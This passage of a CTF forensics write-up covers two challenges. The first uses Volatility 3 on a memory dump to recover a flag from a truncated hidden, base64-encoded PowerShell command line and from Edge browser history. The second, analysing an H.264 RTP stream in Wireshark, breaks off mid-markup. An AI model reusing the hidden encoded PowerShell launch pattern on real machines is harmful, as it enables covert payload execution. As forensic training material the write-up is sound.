relative; display: block; margin-left: auto; margin-right: auto; max-width: 390px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/34d2475a2b0d87f1cebea1cc5b4b00f2/727ba/image-20240622105649491.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 135.83333333333334%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAbCAYAAAB836/YAAAACXBIWXMAAAsTAAALEwEAmpwYAAADy0lEQVRIx61V2ZLaRhTl55OKncpDvsN+8UNq8pDyjJcZg0DDDmIZQAIkgRZWLSzi+N47iAHsclUSd9Wh1be7T9+djDEcodnUUKtWBcViEc1GA8VSCeVyGWpBFXmZ1qr6iEK+gFKxhGqlgrySR7vdwdT1sVwHcDwPmXizxWq1xsyfYTabwfd9mefzORaLhcweHWQ5rz3Pv/ymPT4fRxGCIECGN8fDIR5JM01r06YPx3FEy0qlCnsyEVJes4Z83vNc1Go11OoNaM2mWNUf6EKc4dfrtFEuV0gwh2WZ6Pf7pMEKlmnS4RJ03SDSGRpEatk2lqRdvVZHu9MRTfkxrdWShzNRFGK73SAilXnskwQJYbvdYrPZIAxDxHEs33EUy7kwjETO3yxnHA6HZ5MD2hjZ5NTVSggnEwc6qd/tdDEYDAQjY4gBad176tG6TxYM0O/xni6YTqdylx8RwjmZxwvWirHb7bDb72ROZYLdce9KniT7F0JW23NcGEND/MNjPB6Tf7owRib2ZMo++TESwgWhM3WEUCfzHNdDsJghiZ5d8G/GBSGnx2K+QBisUdQX+NBdImtE+NwPkDNCfNFDPAyecU/IHmUfewHMeSyE7L4MR3BKZKPR6PTSm8oSr+5cvL518Nt7B39+cvH7nYNf6ZvnVyR/TfMfH1388s8UhcFc7q0DImQ1OeScKpIC7OiYUmhHrx52QLIh0LzfPCPZXoJkyf4sKPxjjk1Kl+lJQ8uy0dI0VCnhuVbLVLfNVhvL5ZLMikSTgEF311TD6/X60odcMmn9ckpYliURX1FupuBLnLjXSOUXGvpUv5ycE3uCmMxmn/rULHiwO77JxytwHM4IA3iUKoez8HM7y2WzUKg95XI5PD09narmHLpOFdXtSjORKHPpiYa+LxptqJXxsMncIXUg07QkydP2lba282/XdcW3Lz4kJ/OmYRjiaB5swp4ix+bwnJosDeLYKNJS5DUTnQhZ4PseStSRC6oqnTqvKNLO2K8VivCXbI56oUrtqymyDrUtJaeQSxTqoRo1Z//FZI4yY0KBcMmXbMJEguLL63zYpmCxn9hEPssmOkTM5JwZm/OgpH3wZ4wLQq4UTpH/im8I/w/Zdwl/NNIL5+sX0RUhR4bN5dTgFEnB6wN14gPtnVzC6+NlnvfHpnDhw+/VKBd8TH9eXXsBtWsjW+uhPHDRNX1Y4xGlSovydigZ0aMqatTr0ky4GDKcR9do0n9tp6XhVqni3a2Ctzd3+OvTI95nS8g+PODm5m98vr+X3FTyeeTp/1qlv9s2leFXZuf8o7wfBdkAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/34d2475a2b0d87f1cebea1cc5b4b00f2/8ac56/image-20240622105649491.webp 240w,\n/static/34d2475a2b0d87f1cebea1cc5b4b00f2/a9b47/image-20240622105649491.webp 390w\"\n              sizes=\"(max-width: 390px) 100vw, 390px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/34d2475a2b0d87f1cebea1cc5b4b00f2/8ff5a/image-20240622105649491.png 240w,\n/static/34d2475a2b0d87f1cebea1cc5b4b00f2/727ba/image-20240622105649491.png 390w\"\n            sizes=\"(max-width: 390px) 100vw, 390px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/34d2475a2b0d87f1cebea1cc5b4b00f2/727ba/image-20240622105649491.png\"\n            alt=\"image-20240622105649491\"\n            title=\"image-20240622105649491\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">C:<span class=\"token punctuation\">\\</span>Windows<span class=\"token punctuation\">\\</span>System32<span class=\"token punctuation\">\\</span>WindowsPowerShell<span class=\"token punctuation\">\\</span>v1.0<span class=\"token punctuation\">\\</span>powershell.exe -window hidden -noni -enc JAB1AD0AJwBoAHQAJwArACcAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQA2ADoAOAAyADgAMgAvAEIANgA0AF8AZABlAGMAJwArACcAbwBkAGUAXwBSAGsAeABCAFIAMwB0AEUAWQBYAGwAMQBiAFYAOQAwAGEARwBsAHo</code></pre></div>\n<p>Decoding this data showed that it was a substring of a URL like the one below, which gave us the first half of the flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 932px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/c799c9fa6a860cd3a69dbc780f3573de/f6f78/image-20240622105624860.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 44.583333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAABkklEQVQoz5WSfa+bIBjF/f7fa0tusrTL7Iu97VWviggqgoivbc+AZc3230byiwfQw+F5DIoyh+w7jLOBmQdo0+NyjfCR3lALjlY2mNcJ0zJ6xsX4dz1WN7JDyQgoL/Hl7Q3BqQhxrkLkKgbpUxQqwTs9eignSJMUhBAURYGSlKgqBs5r0JJaXdk1gjzL/f5+t0NAugR5+4l2qKFXBb1ImE2jm2t7OkdtP67r2ppwNE2DcRwxzzOmySaephePxwNZliHY5zek4opcxsgsLinVGfI+xrQZ/M9gjCH4GocI2Tcc+Q4HtsOJ73ETR1zFAdIIbOuGdV2xbZvnfr+/cHOXzCV+JbyU3xE1P/DeHpCqCxLpiJCoM6qGgFUcy7K8cOa/tTN0JUiSxJckiiIEB/orVaqsiTx7YnHCtQl9DXWvYYyB1hrDMEAp5bVbc9rhmuMOcI0JYvaJjyoDFSXEKCCnziLBB4Zh0b4298f9r6s63BX/LIEbzjioewHeWwPVobX/oBi1pzUKyzb/UzOez6d/UkrxE/1gqzJVcE7+AAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/c799c9fa6a860cd3a69dbc780f3573de/8ac56/image-20240622105624860.webp 240w,\n/static/c799c9fa6a860cd3a69dbc780f3573de/d3be9/image-20240622105624860.webp 480w,\n/static/c799c9fa6a860cd3a69dbc780f3573de/3b46e/image-20240622105624860.webp 932w\"\n              sizes=\"(max-width: 932px) 100vw, 932px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/c799c9fa6a860cd3a69dbc780f3573de/8ff5a/image-20240622105624860.png 240w,\n/static/c799c9fa6a860cd3a69dbc780f3573de/e85cb/image-20240622105624860.png 480w,\n/static/c799c9fa6a860cd3a69dbc780f3573de/f6f78/image-20240622105624860.png 932w\"\n            sizes=\"(max-width: 932px) 100vw, 932px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/c799c9fa6a860cd3a69dbc780f3573de/f6f78/image-20240622105624860.png\"\n            alt=\"image-20240622105624860\"\n            title=\"image-20240622105624860\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">http://192.168.0.16:8282/B64_decode_RkxBR3tEYXl1bV90aGl</code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 937px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/337b9dfb20121381be9e26732a895386/98b29/image-20240622105756735.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 35.833333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABIklEQVQoz5XQe0vDMBSH4X7/TyaIynBzt9hOe53dsrZpelnTvsZMh4j/LPBwkkMCJz9vFwZkeUrdKVRT0vSatVix3CyIs4h0n9p+Td1UtJ22mqvGOpUFmb2ze98hfB9vkyx5Th/xj2viKiAsfd6LV/zDmrzM0HVDqbStBdM0wsQfk6uTqxNemAckp5BjlaPPimaonaovKPSR83lgGAaMMQyWMZezYy79ruucvu/x7sSaxccLvnxhc5g7u2LDW7UllSFJnKC1tpe768Pf2rZFCEEURUgp8R6DZ56Se+b7B5b5jNVhxlYuEKc5WRkjjxJVKzvJyDj+72uyn194Il4SyJWdaktkM4yUVdkcS0HZSm5dXqWU24w28HEy30bHjMaFfYtP3koY7WCv6p8AAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/337b9dfb20121381be9e26732a895386/8ac56/image-20240622105756735.webp 240w,\n/static/337b9dfb20121381be9e26732a895386/d3be9/image-20240622105756735.webp 480w,\n/static/337b9dfb20121381be9e26732a895386/ff430/image-20240622105756735.webp 937w\"\n              sizes=\"(max-width: 937px) 100vw, 937px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/337b9dfb20121381be9e26732a895386/8ff5a/image-20240622105756735.png 240w,\n/static/337b9dfb20121381be9e26732a895386/e85cb/image-20240622105756735.png 480w,\n/static/337b9dfb20121381be9e26732a895386/98b29/image-20240622105756735.png 937w\"\n            sizes=\"(max-width: 937px) 100vw, 937px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/337b9dfb20121381be9e26732a895386/98b29/image-20240622105756735.png\"\n            alt=\"image-20240622105756735\"\n            title=\"image-20240622105756735\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>I was wondering how to recover the full flag from there, but one of my teammates realized that the complete URL could be obtained from Edge’s History file.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">0xcd88cd53e460  <span class=\"token punctuation\">\\</span>Users<span class=\"token punctuation\">\\</span>Mikka<span class=\"token punctuation\">\\</span>AppData<span class=\"token punctuation\">\\</span>Local<span class=\"token punctuation\">\\</span>Microsoft<span class=\"token punctuation\">\\</span>Edge<span class=\"token punctuation\">\\</span>User Data<span class=\"token punctuation\">\\</span>Default<span class=\"token punctuation\">\\</span>History     <span class=\"token number\">216</span>\nvol3 -o /tmp -f chal_mem_search.DUMP windows.dumpfiles.DumpFiles --virtaddr 0xcd88cd53e460</code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/51b3a80fc01d43fe4c1a2a2445b7df51/cf899/image-20240622111944874.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 37.916666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABVklEQVQoz3WSV1bDQAxFvRhKqrudSVzS3CsJKZT9r+MhCUzyAR/vSDNndEdNy6MNkqRD0r0jqc+oujMWwQ6OH8NbbuGqjVhnsf5RDMuLROyP5x6epw5GM1ekFV6Mal8JKK8OSMsDZqbCw8jE08TG49gSsf+XBti3daBV9GuTtmiPH6j7K+ruAsMJ5NFE9yWDew2Z/CetJmCXdehPn2hfrugJvE0bqDDBKs4QrHMRt0GFe8yt5W9mg733tZKA22APFadQUYolQbg/ur2STFmmGwhobilpB0unsy53N02NBZVMza+TBkV7QkKwjPrpUzYcZDjfUIYLiIIERmfdvoGGO7ZaQxPsCNgc3lDQULjsur8go+EUzSsN64KSPjMp0KAe2ZS96YYi2+eJh1IRn6XknEoud5UMJK+PEsxin4ENfVDSBkSUveJVIYij1gLzaKV4ldhn8VC+AIdrC/q6JSAgAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/51b3a80fc01d43fe4c1a2a2445b7df51/8ac56/image-20240622111944874.webp 240w,\n/static/51b3a80fc01d43fe4c1a2a2445b7df51/d3be9/image-20240622111944874.webp 480w,\n/static/51b3a80fc01d43fe4c1a2a2445b7df51/e46b2/image-20240622111944874.webp 960w,\n/static/51b3a80fc01d43fe4c1a2a2445b7df51/f992d/image-20240622111944874.webp 1440w,\n/static/51b3a80fc01d43fe4c1a2a2445b7df51/45b69/image-20240622111944874.webp 1513w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/51b3a80fc01d43fe4c1a2a2445b7df51/8ff5a/image-20240622111944874.png 240w,\n/static/51b3a80fc01d43fe4c1a2a2445b7df51/e85cb/image-20240622111944874.png 480w,\n/static/51b3a80fc01d43fe4c1a2a2445b7df51/d9199/image-20240622111944874.png 960w,\n/static/51b3a80fc01d43fe4c1a2a2445b7df51/07a9c/image-20240622111944874.png 1440w,\n/static/51b3a80fc01d43fe4c1a2a2445b7df51/cf899/image-20240622111944874.png 1513w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/51b3a80fc01d43fe4c1a2a2445b7df51/d9199/image-20240622111944874.png\"\n            alt=\"image-20240622111944874\"\n            title=\"image-20240622111944874\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>So, by decoding that, we were able to recover the complete flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 932px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/34c8b617cae18433dc30071013f95374/f6f78/image-20240622112047127.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 46.25%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAABVklEQVQoz5WR23KCMBRF8///1cfqtFJAlIuiIpcEyA0QdDeko61vNjNrTk5msmYnhyT7CAXNoXoBoTlkx+EFLvythyw/GTJILSGV+K0GZfbd0KFuG+TFGck+QRhHIP5xhdVpgZgFOPIYBx5hX4eIKh9UlNBKQykFKZWtWmtIIdF3PeZ1u93ws7ENyJEmyOoDmKigR/mg7RlaXWMcJysZxxHTND1xP+v73jIMA8jbdo115WJLv7AuVwgqB0mzxo4HyOgB2ekMLji6rntc/CuYU4dhiDRNwRgDeY8/4eQLuMUSATVC6iCsPYSNi5LnYJTZSzNCCJt2fub1erXMCWfxPS3xDkuT8MPK4sZDNGOEG+bYZz/90wuLuCeT8LzErtkg5SZ6a2jMUKiPtqsfwlchaWkmW6Uo6gw5M5hK2xKVyCEH/iR8KaFQHOPtgmHqcfnD3I/T5d/CbxakspOfHK96AAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/34c8b617cae18433dc30071013f95374/8ac56/image-20240622112047127.webp 240w,\n/static/34c8b617cae18433dc30071013f95374/d3be9/image-20240622112047127.webp 480w,\n/static/34c8b617cae18433dc30071013f95374/3b46e/image-20240622112047127.webp 932w\"\n              sizes=\"(max-width: 932px) 100vw, 932px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/34c8b617cae18433dc30071013f95374/8ff5a/image-20240622112047127.png 240w,\n/static/34c8b617cae18433dc30071013f95374/e85cb/image-20240622112047127.png 480w,\n/static/34c8b617cae18433dc30071013f95374/f6f78/image-20240622112047127.png 932w\"\n            sizes=\"(max-width: 932px) 100vw, 932px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/34c8b617cae18433dc30071013f95374/f6f78/image-20240622112047127.png\"\n            alt=\"image-20240622112047127\"\n            title=\"image-20240622112047127\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Also, for some reason, when I extracted <code class=\"language-text\">read_this_as_admin.lnknload</code> again with the same command, I was able to obtain the complete <code class=\"language-text\">.lnk</code> file containing the flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/010b5b7637226300c38e96f8dbd91a82/32b38/image-20240623224946717.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 50.83333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABi0lEQVQoz21S2XKCQBDkX1KJiTd4goAoIFdERMyhJvn/r+jQQ62lqTx09e7Obu9Mz2heHMMJQ8y8DLqdwAoK+NEOq/AV/iZHlJUIkwJRWiKIC1n7UY6ln8F0AsxtHxPTQ7s/RaszhpZuj7DcDUazJV56E5h2AHedYjz3MFv4GIwW6BtmDQs93byC++5wXouM8NwdC0QwTPbY1L97QYbh2JZfl34qYrYX4alt4PFFv4M6IyshgmuNZZhOiM5gJpdYAmFMXegT55rNLTMzMt+oDFsqwzQ/wlklckhBd50g2VbiITOnSP9Pmf8KdhpRjY+m1koCFFwsI/GRfvIRz1maAvfq7NY/BS2pm0LP9Iktlyw3rLPbSlB5dAslqHy734+gcSyCeCflPLQG0hjuWTKb4nixTAF9JjPO7Al+cOVuw1pRnbE/XpCXn7Vne2S7Nxzev1F9/ICxorpIXCEvT9gdTrImN3fOKI9f9cweWHIlw8vZY0PYdV6kFfygyTSWGJvH+WT31RSQjWnDzP4Xu6pQZ8edWxQAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/010b5b7637226300c38e96f8dbd91a82/8ac56/image-20240623224946717.webp 240w,\n/static/010b5b7637226300c38e96f8dbd91a82/d3be9/image-20240623224946717.webp 480w,\n/static/010b5b7637226300c38e96f8dbd91a82/e46b2/image-20240623224946717.webp 960w,\n/static/010b5b7637226300c38e96f8dbd91a82/f992d/image-20240623224946717.webp 1440w,\n/static/010b5b7637226300c38e96f8dbd91a82/77e4e/image-20240623224946717.webp 1471w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/010b5b7637226300c38e96f8dbd91a82/8ff5a/image-20240623224946717.png 240w,\n/static/010b5b7637226300c38e96f8dbd91a82/e85cb/image-20240623224946717.png 480w,\n/static/010b5b7637226300c38e96f8dbd91a82/d9199/image-20240623224946717.png 960w,\n/static/010b5b7637226300c38e96f8dbd91a82/07a9c/image-20240623224946717.png 1440w,\n/static/010b5b7637226300c38e96f8dbd91a82/32b38/image-20240623224946717.png 1471w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/010b5b7637226300c38e96f8dbd91a82/d9199/image-20240623224946717.png\"\n            alt=\"image-20240623224946717\"\n            title=\"image-20240623224946717\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>The file extraction in <code class=\"language-text\">vol3</code> may be a bit unstable, so it is probably worth being careful about file corruption.</p>\n<h2 id=\"i-wanna-be-a-streamerforensic\" style=\"position:relative;\"><a href=\"#i-wanna-be-a-streamerforensic\" aria-label=\"i wanna be a streamerforensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>I wanna be a streamer(Forensic)</h2>\n<blockquote>\n<p>Sorry, Mom, I’m going to make a living as a streamer.\nDrop by the stream once in a while.\n(The video is encoded with H.264.)</p>\n</blockquote>\n<p>Since the video was encoded with H.264, I first changed a few RTP analysis settings.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 638px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/50f7f69c43232f5550a551e6e2786d5d/41be6/image-20240621233707028.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 79.16666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAACxUlEQVQ4y11TWW/aQBD2b8hBUpVAVAL4tjkN2NgctgFjY+wQKVKrVj0e+lT1/7983VnbNOTh08zufjOzcwlt04MoK2g9daCoOiRZxeOnFq6ub3F1U8M1A5e3Ba5uivub2h1u7+5Ru/+A2l0Jpgvtdgdit4tOp41mo4HHxyaazQYajf94eHhAvf6RywvU6wWY3ighBEGI3W6HxWKB+XwOz/Pgui5msxls2+bYbrc4pkesVyvOKzjeWXcc58wVzF4Pq/UaURRhsVzCZYTJxIJu6DBNE5qmIQhD7OOYB6xAzigwOSEu8XRdh6ArGlzbxWGfYD61YWoGlK4MTVI5lK6ElbtEFO4QrgPsNzvsgg3ibcTuF7AGY9jWlNk6GPeHENRZH4skQJBHGPpTSFMD0syAWMqOpcFLQ8Sfc6RfX5B/f0X67QXeMYDujdBbTRgsGMsxNHcAoXUYQs4m8H7GsH5tIL/aaJ4GeDwNORp5H/bvBP7fF/h/Tpj+2EL94nJO85nQR6MEnQVNVNFTDWTJEUuWutwWYbA7vYTakREuAzwnGZJNBPmpC6nVhcbu1RK6qJz5gsYK6gfM4HTC2BpBVhRougaVgaSsKlgHPrI8Q5ZlvDmux5rh2HBYcxx3DrNnQtFUbiMYrJPzuYv0kGI4HPJuvYUsywhYwDRNkSQJH7HpZMI7SlNQTYKqqlwKGnuwbQeHw4HPkzUenx8rh6vVmv0ux2az4WMyGAzOY0Lcik9SoEtytGZGFfG9w5A52u9jnvKW6TSDZEPzOBqNLviCKIo8EqWzYQOsUA3fpez7PuK4fGdniYF4cikrLv+hJElYsg05PZ/gsHSIVBCKqNQkckirl+c526gdol3Ea0mgtaT1syyrcFgUPeQ/1HXtoh7VD7fbwpB4lCo1j1Ids3qTvGgK/bDH9rkq8Psakk7vpBO3SvNtym/t/gHFcgVVxiCOfQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/50f7f69c43232f5550a551e6e2786d5d/8ac56/image-20240621233707028.webp 240w,\n/static/50f7f69c43232f5550a551e6e2786d5d/d3be9/image-20240621233707028.webp 480w,\n/static/50f7f69c43232f5550a551e6e2786d5d/a2d8a/image-20240621233707028.webp 638w\"\n              sizes=\"(max-width: 638px) 100vw, 638px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/50f7f69c43232f5550a551e6e2786d5d/8ff5a/image-20240621233707028.png 240w,\n/static/50f7f69c43232f5550a551e6e2786d5d/e85cb/image-20240621233707028.png 480w,\n/static/50f7f69c43232f5550a551e6e2786d5d/41be6/image-20240621233707028.png 638w\"\n            sizes=\"(max-width: 638px) 100vw, 638px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/50f7f69c43232f5550a551e6e2786d5d/41be6/image-20240621233707028.png\"\n            alt=\"image-20240621233707028\"\n            title=\"image-20240621233707028\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 732px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/a481f94490f05644182e65afdcd0bac9/d0cc0/image-20240621233743293.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 80.41666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAABi0lEQVQ4y6WU226CQBiEuVPwDQDljHKyQjFCLQiI2qSJfYFe9f3fYbr/Wo221aZyMdlks3w7s+ysIBsBZFmBohwkSRJ6vR5EUUS/L7JRgij9LumowYCvJ47g+z7KokRT1wiCAIvFAlEUwbYsOI4DwzCuStd1jEYjLlVV4Y4nEMIwQs1gb/s94jhGGIYcTBt5ngfbtq/KYpueA8cEDDiwQdu2mM1m0DSNWZf5AtJwOPxTFw4J2DQNsq+opmmeFv1HF8Cqqjg0TVMGNLoBoyBCkS/R1mvM0zk/7HuB/Awnjwz4uka2KxCkD7A6RR5D0Aof2ccLkvcakyaBZZhQ7wCSCUonOJbN4+7aLZJZfHdk+obupeC4Llbsp5RlgSRJugNdBmyaNW8KXezuDlm92naD5+US0+n05j28tdGFw+1my7ThTbkGPM7RqCrqqUlH0cNCLROoHWVZombnSJFp8pZDTdfgeC4s1+aPBxmiTtNI/RbOX4zvTn4AmRPTsZC3BeKnObI8R7U6GKGmUcJP+k3Bux6s/cEAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/a481f94490f05644182e65afdcd0bac9/8ac56/image-20240621233743293.webp 240w,\n/static/a481f94490f05644182e65afdcd0bac9/d3be9/image-20240621233743293.webp 480w,\n/static/a481f94490f05644182e65afdcd0bac9/a0372/image-20240621233743293.webp 732w\"\n              sizes=\"(max-width: 732px) 100vw, 732px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/a481f94490f05644182e65afdcd0bac9/8ff5a/image-20240621233743293.png 240w,\n/static/a481f94490f05644182e65afdcd0bac9/e85cb/image-20240621233743293.png 480w,\n/static/a481f94490f05644182e65afdcd0bac9/d0cc0/image-20240621233743293.png 732w\"\n            sizes=\"(max-width: 732px) 100vw, 732px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/a481f94490f05644182e65afdcd0bac9/d0cc0/image-20240621233743293.png\"\n            alt=\"image-20240621233743293\"\n            title=\"image-20240621233743293\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Reference: <a href=\"https://fumimaker.net/entry/2021/03/17/215110\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">How to Analyze RTP with Wireshark - fumiLab</a></p>\n<p>That gave the following analysis result.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/e7c73309970f2d9dab15704cb0afc53d/6774c/image-20240621233633007.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 51.66666666666666%; position: relative; bottom: 0; left: 0; background-image: 